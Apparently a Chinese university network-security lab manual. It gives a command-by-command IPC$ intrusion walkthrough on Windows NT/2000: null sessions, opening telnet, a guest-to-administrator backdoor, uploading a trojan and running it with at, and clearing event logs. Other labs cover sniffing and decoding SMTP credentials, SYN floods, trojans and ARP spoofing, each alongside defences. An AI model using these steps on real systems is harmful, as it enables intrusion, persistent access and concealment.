网络与信息安全技术实验指导书.doc_第1页
网络与信息安全技术实验指导书.doc_第2页
网络与信息安全技术实验指导书.doc_第3页
网络与信息安全技术实验指导书.doc_第4页
网络与信息安全技术实验指导书.doc_第5页
已阅读5页,还剩23页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

试验1 常用网络命令,IPC$漏洞攻击通过这次试验,要掌握IPC$(Internet Process Connection)是共享命名管道的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。相关内容说明:所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列,而鉴于win Xp在安全设置上有所提高,个别操作并不适用。IPC$(Internet Process Connection)是共享命名管道的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统安全性的降低。 平时我们总所说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,是指微软自己安置的那个后门:空会话(Null session)。那么什么是空会话呢?空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组: Everyone Network 在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢? 对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表。以下是空会话中能够使用的具体命令: 1 首先,我们先建立一个空会话(需要目标开放ipc$) 命令:net use ipipc$ /user: 注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。 2 查看远程主机的共享资源 命令:net view IP 解释:建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下类似类似结果: 在 *.*.*.*的共享资源 资源共享名 类型 用途 注释 - NETLOGON Disk Logon server share SYSVOL Disk Logon server share 命令成功完成。 3 查看远程主机的当前时间 命令:net time IP 解释:用此命令可以得到一个远程主机的当前时间。 4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT) nbtstat -A IP 用此命令可以得到一个远程主机的NetBIOS用户名列表(需要你的netbios支持),返回如下结果: Node IpAddress: *.*.*.* Scope Id: NetBIOS Remote Machine Name Table Name Type Status - SERVER UNIQUE Registered OYAMANISHI-H GROUP Registered OYAMANISHI-H GROUP Registered SERVER UNIQUE Registered OYAMANISHI-H UNIQUE Registered OYAMANISHI-H GROUP Registered SERVER UNIQUE Registered OYAMANISHI-H UNIQUE Registered ._MSBROWSE_. GROUP Registered INetServices GROUP Registered ISSERVER. UNIQUE Registered MAC Address = 00-50-8B-9A-2D-37 以上就是我们经常使用空会话做的事情,要注意一点:建立IPC$连接的操作会在EventLog中留下记录,不管你是否登录成功。下面我们来看看ipc$所使用的端口是什么? 对于win2000客户端来说: 1、 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败; 2、 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。由此可见,禁止了NBT后的win 2000对win NT的共享访问将会失败。 对于win2000服务器端来说: 1、 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放; 2、 如果禁止NBT,那么只有445端口开放。 我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。ipc$完整入侵步骤祥解入侵步骤随个人爱好有所不同,1 用扫描软件搜寻存在若口令的主机,比如流光,SSS,X-scan等,随你的便,然后锁定目标,如果扫到了管理员权限的口令,进行下面的步骤,假设你现在得到了administrator的密码为空 2 此时您有两条路可以选择:要么给对方开telnet(命令行),要么给它传木马(图形界面),先用telnet 3开telnet要用到opentelnet这个小程序 c:OpenTelnet.exe 192.168.21.* administrator 1 90 如果返回如下信息 * Remote Telnet Configure, by refdom Email: OpenTelnet.exe UsagepenTelnet.exe server username password NTLMAuthor telnetport * Connecting 192.168.21.*.Successfully! NOTICE! The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23 Starting telnet service. telnet service is started successfully! telnet service is running! BINGLE!Yeah! Telnet Port is 90. You can try:telnet ip 90, to connect the server! Disconnecting server.Successfully! *说明已经打开了一个端口90的telnet。 4 现在telnet上去 telnet 192.168.21.* 90 如果成功,将获得远程主机的一个shell,此时可以把guest激活再加入管理组,留个后门。 5 C:net user guest /active:yes *将Guest用户激活,也有可能人家的guest本来就试活的,可以用net user guest看一下它的帐户启用的值是yes还是no 6 C:net user guest 1234 *将Guest的密码改为1234,或者改成你喜欢的密码 7 C:net localgroup administrators guest /add *将Guest变为Administrator,这样,即使以后管理员更改了他的密码,也可以用guest登录了,不过因为通过安全策略的设置,可以禁止guest等帐户的远程访问,如果真是这样,那后门也就白做了。 8给它传木马 9 首先,先建立起ipc$连接 C:net use 192.168.21.*ipc$ /user:administrator 10 既然要上传东西,就要先知道它开了什么共享 C:net view 192.168.21.* 在 192.168.21.*的共享资源 资源共享名 类型 用途 注释 - C Disk D Disk 命令成功完成。 *看到对方共享了C,D两个盘,下面就可以向任意一个盘复制文件了。因为用net view命令无法看到默认共享,因此通过上面返回的结果,并不能判断对方是否开启了默认共享。 11 C:copy love.exe 192.168.21.*c 已复制 1 个文件 用这个命令你可以将木马客户端love.exe传到对方的c盘下,当然,如果能复制到系统文件夹下是最好的了,不容易被发现 12 运行木马前,先看看它现在的时间 net time 192.168.21.* 192.168.21.*的当前时间是 2003/8/22 上午 11:00 命令成功完成 13 现在用at运行它,不过对方一定要开了Task Scheduler服务(允许程序在指定时间运行),否则就不行 C:at 192.168.21.* 11:02 c:love.exe 新加了一项作业,其作业 ID = 1 14 剩下就是等了,等过了11:02,你就可以用控制端去连接了,如果成功你将可以用图形界面去控制远程主机了,如果连接失败,那么它可能在局域网里,也可能程序被防火墙杀了,还可能它下线了,无论哪种情况你只好放弃了 两种基本方法都讲了。如果你对上面的操作已经轻车熟路了,也可以用更高效的套路,比如用CA克隆guest,用psexec执行木马,用命令:psexec tergetIP -u user -p paswd cmd.exe直接获得shell等,这些都是可以。不过最后不要忘了把日志清理干净,可以用榕哥的elsave.exe。 如何防范ipc$入侵1 禁止空连接进行枚举(此操作并不能阻止空连接的建立) 方法1: 运行regedit,找到如下主键HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA把RestrictAnonymous = DWORD的键值改为:1 如果设置为1,一个匿名用户仍然可以连接到IPC$共享,但限制通过这种连接得到列举SAM帐号和共享等信息;在Windows 2000 中增加了2,限制所有匿名访问除非特别授权,如果设置为2的话,可能会有一些其他问题发生,建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。 方法2: 在本地安全设置本地策略安全选项在对匿名连接的额外限制中做相应设置 2 禁止默认共享 1)察看本地共享资源 运行-cmd-输入net share 2)删除共享(重起后默认共享仍然存在) net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete(如果有e,f,可以继续删除) 3)停止server服务 net stop server /y (重新启动后server服务会重新开启) 4)禁止自动打开默认共享(此操作并未关闭ipc$共享) 运行-regedit server版:找到如下主键HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters把AutoShareServer(DWORD)的键值改为:00000000。 pro版:找到如下主键HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters把AutoShareWks(DWORD)的键值改为:00000000。 如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。这两个键值在默认情况下在主机上是不存在的,需要自己手动添加。 3 关闭ipc$和默认共享依赖的服务erver服务 控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用 这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于lanmanserver,不要管它。 4 屏蔽139,445端口 由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。 1)139端口可以通过禁止NBT来屏蔽 本地连接TCP/IT属性高级WINS选禁用TCP/IT上的NETBIOS一项 2)445端口可以通过修改注册表来屏蔽 添加一个键值 Hive: HKEY_LOCAL_MACHINE Key: SystemControlsetServicesNetBTParameters Name: SMBDeviceEnabled Type: REG_DWORD Value: 0 修改完后重启机器 注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。 3)安装防火墙进行端口过滤 5 设置复杂密码,防止通过ipc$穷举出密码。试验2 SNIFFER抓包分析E-MAIL 帐号,流光扫描工具的使用通过这次试验,要掌握Sniffer Pro协议分析器能获取在同一物理网络内的所有数据流量,用Sniffer Pro分析器获取E-mail协议数据,根据E-mail协议的会话过程分析验证E-mail协议命令,能获取账号信息。相关内容说明:需装有Sniffer pro的一个物理网实验环境,其中有一台SMTP服务器,Sniffer Pro可运行在局域网的任何一台机器上,网络连接最好用Hub且在一个子网,这样能抓到连到Hub上每台机器传输的包。版本是4.6,Sniffer Pro软件安装非常简单,setup后一路确定即可,第一次运行时需要选择你的网卡。最好在win2000下运行,在win2003下运行网络流量表有问题。Iris等抓包工具的使用在前几次课已讲述过,重点要理解SMTP,POP3会话过程RFC 2554规范中定义了SMTP的认证过程,但RFC 2554 中没有定义具体的认证参数。SMTP的认证功能主要是增加了AUTH命令,AUTH命令有多种用法,而且有多种认证机制,AUTH支持的认证机制主要有LOGIN,CRAM-MD5等。 LOGIN是大多数免费邮件服务器都支持的,如163、263与新浪都支持。而新浪还支持CRAM-MD5机制。认证机制一般只在真正发送邮件之前进行,而且只需要执行一次。当认证成功后,即可按原来正常的处理发送邮件。原理是口令-应答(Challenge-Response),即会话的过程是发送文本来完成的,过程为交互式的请求应答模式,每次会话服务器总是返回一定的响应码,表示客户端的请求是否被正确地应答,会话过程有一定的次序。由服务器发送命令要求客户端回答,客户端根据服务器发送信息进行回答,如果应答通过了,则认证成功,即可继续处理。下面对LOGIN机制作一个简单介绍。S:表示服务器返回,C:表示客户端发送 ,三位数字代码如334为服务器响应码。LOGIN 口令-应答过程如下: 1 C: AUTH LOGIN 2 S: 334 dXNlcm5hbWU6 3 C: bXlnOTQ= (假设邮箱名为”myg94”) 4 S: 334 cGFzc3dvcmQ6 5 C: MzQ5OTA5Mg= (假设密码为”3499092”) 6 S: 235 Authentication successful. 上述6个步骤的说明如下:1 为客户端向服务器发送认证指令。 2 服务端返回BASE64编码串,成功的响应码为334。编码字符串解码后为“username:”,说明要求客户端发送用户名。 3 客户端发送用BASE64编码的用户名,此处为“myg94”。 4 服务端返回BASE64编码串,成功响应码为334。编码字符串解码后为“password:”,说明要求客户端发送用户口令。 5 客户端发送用BASE64编码的口令,此处为“3499092”。 6 成功后,服务端返回码为235,表示认证成功可以发送邮件了。在SMTP的RFC 821中,与邮件服务器连接成功后,第一个命令一般是“HELO”。但是在支持认证的邮件服务器中,第一个命令应改为“EHLO”。 流光扫描工具的使用用多媒体演示。为实验方便起见,e-mail客户端用outlook,而SMTP服务器可用IIS中自带的SMTP服务器。启动sniffer pro,然后用outlook发送邮件,即可获取e-mail协议数据。获取的数据界面如下:图一 SMTP命令及会话过程对图一的说明:上图中的红色部分就是SMTP命令及会话过程,左边是e-mail客户端发出的命令,右边的是SMTP服务器对e-mail客户端发出的命令的响应,双方交替出现,一问一答,e-mail客户端发出的命令次序体现了SMTP协议的会话过程。上图中开始的是三个握手报文,用来建立e-mail客户端同SMTP服务器的连接,连接建立好后,e-mail客户端发送的第一个命令是EHLO,这说明SMTP服务器是ESMTP服务器,这一点可从SMTP服务器的第一次响应数据中得到验证。从上图中可看出SMTP 会话过程如下:1 C: EHLO2 S: 2503 C: AUTH LOGIN4 S: 334 vXNlcm5hbWU65 C: ywrtaw5pc3ryyxrvcg=(假设邮箱名为”maoyg94”)6 S: 334 UGFzc3dvcmQ67 C: mzqt0ta5mm1hbw= (假设密码为”3499092mao”)8 S: 235 Authenticationsuccessful. 9 C: MAIL FROM:10 S: 25011 C: RCPT TO:maoyg94163.COM12 S: 25013 C: DATA14 S: 35415 C: QUIT16 S: 221S:表示服务器返回,C:表示客户端发送。其中第5步骤的邮箱值和第7步骤的密码值都是经过BASE64编码后的值。编码方式是BASE64这一点可从e-mail源码中的邮头字段content-transfer-encoding:BASE64中得到验证,上图中的最后四个报文是关闭连接的四个报文,可以看出是SMTP服务器发起关闭的第一个报文。下图是e-mail源码图图二 e-mail源码图对上图的说明:从图中可看出e-mail源码由邮头、空白行、正文组成,部分邮头字段值和正文值是经过BASE64编码后的值,但BASE64编码函数十公开的,所以调用BASE64编码函数的反函数就可得到大量的e-mail数据,其中包括e-mail帐号和密码、正文。 e-mail帐号和密码的BASE64编码值可从下面两个图中 得到:图三 e-mail帐号BASE64编码值图四 e-mail密码的BASE64编码值得到这两个值后我们就可调用BASE64编码的反函数,解码后的值就是我们感兴趣的e-mail帐号和密码,这说明e-mail通信在这种环境中是很不安全的。试验3 种植木马,syndos攻击过程通过这次试验,要掌握木马是一种可以驻留在对方系统中的一种程序。木马一般由两部分组成:服务器端和客户端。驻留在对方服务器的称之为木马的服务器端,远程的可以连到木马服务器的程序称之为客户端。木马的功能是通过客户端可以操纵服务器,进而操纵对方的主机。木马程序在表面上看上去没有任何的损害,实际上隐藏着可以控制用户整个计算机系统、打开后门等危害系统安全的功能。SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。相关内容说明:SYN攻击据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本章介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。 一、TCP握手协议 在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。 第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认; 第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态; 第三次握手:客户端收到服务器的SYNACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。 完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念: 未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。 Backlog参数:表示未连接队列的最大容纳数目。 SYN-ACK 重传次数服务器发送完SYNACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。 半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。 二、SYN攻击原理 SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。从上图可看到,服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。 三、SYN攻击工具 SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。 1、windows系统下的SYN工具 以synkill.exe为例,运行工具,选择随机的源地址和源端囗,并填写目标机器地址和TCP端囗,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端囗或者防火墙拒绝访问该端囗,此时可选择允许访问的TCP端囗,通常,windows系统开放tcp139端囗,UNIX系统开放tcp7、21、23等端囗。 四、检测SYN攻击 检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat 工具来检测SYN攻击: # netstat -n -p TCP tcp0 0 1:23:25882 SYN_RECV- tcp0 0 1:2304:2577 SYN_RECV- tcp0 0 1:2329:51748 SYN_RECV- tcp0 0 1:235:47393 SYN_RECV- tcp0 0 1:2382:60427 SYN_RECV- tcp0 0 1:238:278 SYN_RECV- tcp0 0 1:236:5122SYN_RECV- tcp0 0 1:2307:49162 SYN_RECV- . 上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的,表明这是一种带有IP欺骗的SYN攻击。 我们也可以通过下面的命令直接查看在LINUX环境下某个端囗的未连接队列的条目数: netstat -n -p TCP grep SYN_RECV grep :22 wc -l 324 显示TCP端囗22的未连接数有324个,虽然还远达不到系统极限,但应该引起管理员的注意。 五、SYN攻击防范技术 关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范.但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。 1、过滤网关防护 这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设置,SYN网关和SYN代理三种。 网关超时设置:防火墙设置SYN转发超时参数(状态检测的防火墙可在状态表里面设置),该参数远小于服务器的timeout时间。当客户端发送完SYN包,服务端发送确认包后(SYNACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设置不宜过小也不宜过大,超时参数设置过小会影响正常的通讯,设置太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设置此参数。 SYN网关:SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。 SYN代理:当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。 2、加固tcp/ip协议栈 防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYN cookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。 SynAttackProtect机制 为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加SynAttackProtect键值: HKLMSYSTEMCurrentControlSetServicesTcpipParameters 当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。 当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。 当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。 我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。 TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000server默认值为100,Win2000Advanced server为500。 TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000server默认值为80,Win2000 Advanced server为400。 TcpMaxPortsExhausted是指系统拒绝的SYN请求包的数量,默认是5。 如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同) SYN cookies技术 我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。 SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYNcookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。 增加最大半连接数 大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。 缩短超时时间 上节提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。 木马攻击木马是一种可以驻留在对方系统中的一种程序。木马一般由两部分组成:服务器端和客户端。驻留在对方服务器的称之为木马的服务器端,远程的可以连到木马服务器的程序称之为客户端。木马的功能是通过客户端可以操纵服务器,进而操纵对方的主机。木马程序在表面上看上去没有任何的损害,实际上隐藏着可以控制用户整个计算机系统、打开后门等危害系统安全的功能。木马来自于“特洛伊木马”,英文名称为Trojan Horse。传说希腊人围攻特洛伊城,久久不能攻克,后来军师想出了一个特洛伊木马计,让士兵藏在巨大的特洛伊木马中部队假装撤退而将特洛伊木马丢弃在特洛伊城下,让敌人将其作为战利品拖入城中,到了夜里,特洛伊木马内的士兵便趁着夜里敌人庆祝胜利、放松警惕的时候从特洛伊木马里悄悄地爬出来,与城外的部队里应外合攻下了特洛伊城。由于特洛伊木马程序的功能和此类似,故而得名。常见的简单得木马有NetBus远程控制、“冰河”木马、PCAnyWhere远程控制等等。这里介绍一种最常见的木马程序:“冰河”。 使用“冰河”进行远程控制“冰河”包含两个程序文件,一个是服务器端,另一个是客户端。“冰河8.2”得文件列表如下图所示。试验4 ARP欺骗原理及其应用(WEB防护盾V1.03)通过这次试验,要掌握WEB防护盾V1.03的实现原理就是ARP欺骗,解析与某个IP地址所对应得MAC地址,网络层的IP数据包向下封装成帧时由于不知道与某个IP地址所对应得MAC地址,为此先在一个物理网络内发出ARP广播包,拥有对应的IP地址的机器响应该ARP广播包。ARP欺骗就发生这一时刻,欺骗主机会响应一个虚假的MAC地址,从而使得IP数据包投递到一个危险的地址,达到欺骗的目的。相关内容说明:网络监控软件数目众多,根据其对客户机的控制方式可分为两大类1:1 连接控制类此类主要功能是:根据预先设定的控制策略,在IP地址或MAC地址(网卡物理地址)级别上控制某台机器与局域网络或外网的连接。代表软件: 网络执法官 V 2.67(下载地址:/download.htm) 网络剪刀手 V 1.51(下载地址:/soft/7018.html)2 内容控制类,此类主要功能是:一,限制不同机器不同的网络访问权限二,记录计算机网络通讯的具体内容(这正是我们所要的)代表软件: 网路岗第四代(下载地址:/main.htm) Web防护盾 V 1.03(下载地址:/soft/11506.html)内容控制类网管软件(以Web防护盾 V 1.03为例)部署方法学校机房一般是局域网的环境,在局域网中用的较多的互连设备是集线器和交换机,基于集线器的网络现在已不多见,只出现在一些早期建成的局域网中,基于交换机的局域网是主流。集线器上一个端口的数据会被复制到其他端口,因此,在集线器网络中,任何一台机器上均可部署Web防护盾 V 1.03,而且功能都能正常实现。在基于交换机的网络中,由于一个端口的数据不像集线器那样在每个端口广播,而是“精确”地发往目标机器所在的那个端口,因此在基于交换机的局域网中Web防护盾 V 1.03应部署在以下位置:1. 如果是通过代理服务器上网,只要在代理服务器上部署即可实现监控。2. 如果局域网的网关是计算机,可在此网关计算机上部署。3. 如果网络的网关不是计算机,而是路由器的话,则较为复杂。软件开发商一般会建议在交换机和路由器之间加装一个集线器,将网管机接在集线器上,从而实现监控。4. 交换机端口映射,此方法只适合于部分可网管交换机,可通过对交换机的配置,将所有端口的数据通信映射到某一端口,并在与此端口相连的机器上安装网管软件进行监控。在学校机房可以按照上述4种网络环境部署Web防护盾 V 1.03。Web防护盾主要由控制管理模块和日志查询模块组成。控制管理模块中实现web服务的集中控制,日志查询模块用于记录用户访问记录和分析浏览。控制管理模块采用了类似sniffer的网络数据包捕获技术和欺骗技术,常采用ARP欺骗的技术,在正常情况下我们浏览www站点时,数据从TCP/IP协议的应用层出发向下逐层封装,当从网络层向网络接口层封装时,需用ARP地址解析协议来获取下一跳IP地址所对应的MAC地址,这样数据才能通过数据链路层从而把数据投递到下一跳主机上,而ARP欺骗就发生在这一时刻。尽管发出了携带下一跳IP地址的ARP广播包,但响应包中并未包含你想请求解析的下一跳IP地址所对应的正确的MAC地址,而是一个错误的MAC地址,也就是说所返回的MAC地址与你想请求解析的下一跳IP地址并不匹配,这样你就无法把数据正确投递到下一跳主机上,从而阻断了你的连网行为,达到了禁止你访问某些WWW站点的目的。日志查询模块主要采用了Microsoft Access数据库技术。下面是部署Web防护盾 V 1.03的详细方法,安装软件后,启用软件进行参数设置主要设置网卡.ip地址等设置,其他的一些参数可按默认设置,如图一所示:图一:参数设置点击“获取网络信息”系统会显示整个局域网中的活动主机,如图二所示:图二:网络信息如果你要监控的计算机很多,可以对它们分类放在不同的分组中,这样有利于管理,接着进行控制策略的设置,点击“控制策略制订”可对“过滤模式“,”过滤时间“等进行设置如图三设置:图三:控制策略设置如你只想让学生浏览站点,可点击图三中的“编辑网址列表“如图四设置:图四: 编辑网址列表其他的控制策略如设置学生禁止浏览的站点等,也可按类似的方法设置,设置好相应的控制策略后,可对策略起名并保存,然后将相应的策略应用于你想控制的分组,点击“启动访问控制“就可以控制局域网内主机的访问行为,并可在日志中查看如图五所示:图五: 日志查询总结:用Web防护盾 V 1.03可以设置学生能访问的网站,也可以设置禁止访问的网站,访问网站可限制

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论